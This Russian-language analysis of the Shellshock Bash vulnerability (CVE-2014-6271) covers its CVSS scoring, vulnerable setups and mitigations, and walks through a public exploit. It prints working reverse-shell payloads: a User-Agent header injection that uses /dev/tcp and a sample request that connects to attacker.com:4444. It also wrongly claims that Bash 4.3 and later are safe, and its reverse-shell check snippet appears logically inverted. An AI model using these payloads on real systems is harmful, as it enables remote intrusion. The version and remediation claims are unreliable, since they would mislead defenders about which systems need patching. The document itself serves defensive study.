
Уязвимость CVE-2014-6271 в интерпретаторе Bash
Уязвимость ShellShock — критическая уязвимость в интерпретаторе Bash, позволяющая удалённое выполнение произвольного кода. Она возникает из-за некорректной обработки переменных окружения, содержащих объявления функций. Злоумышленник может внедрить команды через специально сформированные строки после определения функции, например:
() { :; }; /bin/echo 'exploited'
Это приводит к выполнению команды /bin/echo
при инициализации окружения Bash.
Анализ уязвимости
Уровень опасности: 9.8 CRITICAL (CVSS:3.1)
Вектор атаки: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки) – Сетевой: уязвимость эксплуатируется через сеть без локального доступа.
-
AC:L (Сложность эксплуатации) – Низкая: не требуется специальных условий.
-
PR:N (Уровень привилегий) – Не требуются: атака возможна без аутентификации.
-
UI:N (Взаимодействие с пользователем) – Не требуется: выполняется без действий жертвы.
-
S:U (Влияние на другие системы) – Не оказывает: воздействие ограничено целевой системой.
-
C:H/I:H/A:H (Последствия) – Полный компромисс конфиденциальности, целостности и доступности.
Условия эксплуатации
-
Сетевой доступ к уязвимому сервису. Например: веб-сервер (Apache с mod_cgi), SSH-сервер с ForceCommand, DHCP-клиенты.
-
Наличие Bash версии < 4.3. Уязвимы системы на Linux, macOS (исторически), IoT-устройства и сетевые сервисы, использующие Bash для обработки окружения.
-
Возможность передачи управляемых данных в переменные окружения. Например, через HTTP-заголовки (User-Agent, Cookie) в CGI-скриптах.
Примеры уязвимых сценариев
-
Веб-серверы: CGI-скрипты (например,
/cgi-bin/test.cgi
), которые передают HTTP-заголовки в окружение Bash. -
SSH: Конфигурация
ForceCommand
, где переменные окружения контролируются атакующим. -
DHCP-клиенты: Выполнение скриптов с уязвимой версией Bash при получении настроек сети.
Анализ эксплоита из общего доступа
Эксплоит использует HTTP(S)-запросы для внедрения команд через заголовки. Рассмотрим ключевые части кода эксплоита для понимания работы вектора атаки с использованием этой уязвимости:
1. Формирование полезной нагрузки (Payload):
payload = '() { :; }; ' reverse_shell = '/bin/bash -c "/bin/bash -i >& /dev/tcp/{0}/{1} 0>&1"' req.add_header("User-Agent", payload + reverse_shell)
Здесь () { :; };
— объявление функции, после которого добавляется команда для reverse-shell.
2. Отправка запроса с эксплойтом:
Эксплоит поддерживает HTTP и HTTPS. Для HTTPS перебираются версии TLS:
for tls_key, tls_value in TLS_VERSIONS.items(): request.urlopen(req, context=tls_value, timeout=5)
Это обходит возможные ограничения на старых серверах.
3. Проверка успешности (testRevShell):
s = socket.socket() try: s.connect((LHOST, LPORT)) # Если порт занят, reverse-shell работает except: print("[+] Reverse shell connected.")
Этот код проверяет, открыт ли порт для обратного подключения.
Пример атаки через CGI-скрипт:
Если на сервере есть уязвимый скрипт /cgi-bin/status
, запрос с вредоносным User-Agent вызовет выполнение кода:
GET /cgi-bin/status HTTP/1.1 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1
Защита от уязвимости
-
Обновление Bash: Установить версию ≥4.3.
-
Отключение CGI-скриптов: Если они не используются.
-
Фильтрация входных данных: Для веб-приложений — санитизация HTTP-заголовков.
-
Сегментация сети: Ограничение доступа к уязвимым сервисам из интернета.
-
WAF (Web Application Firewall): Блокировка запросов с подозрительными заголовками.
Пример проверки версии Bash:
bash --version # Уязвимые версии: 3.2.39(1)-release, 4.2.45(1)-release
